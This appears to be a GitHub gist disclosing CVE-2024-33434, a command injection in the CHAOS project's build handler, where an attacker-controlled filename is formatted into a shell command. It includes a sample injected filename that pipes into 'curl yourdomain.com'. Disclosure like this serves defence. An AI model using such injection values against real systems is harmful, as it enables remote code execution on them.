slimwang / **CVE-2024-33434.md**

Last active 2 years ago

Code Revisions 3

CVE-2024-33434

CVE-2024-33434.md

CVE-2024-33434

- affected product: https://github.com/tiagorlampert/CHAOS
- affected version: commit before 1b451cf62582295b7225caf5a7b506f0bad56f6b & 24c9e109b5be34df7b2bce8368eae669c481ed5e
- vulnerability type: RCE (Command Injection)

Details

In services/client_service.go, the author uses `fmt.Sprintf()` to build `buildStr`, then executes it with `exec.Command()` :

```
const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s
filename := handleFilename(input.OSTarget, input.Filename)
filename = handleFilename(input.OSTarget, filename)
buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(inp
cmd := exec.Command("sh", "-c", buildCmd)
```

While the `filename` variable is controlled by the attacker, someone can submit `filename` like this to inject a command in the `buildStr`, then it's executed:

```
filename := handleFilename(input.OSTarget, "1 main.go | curl yourdomain.com |
```

Reference

tiagorlampert/CHAOS#95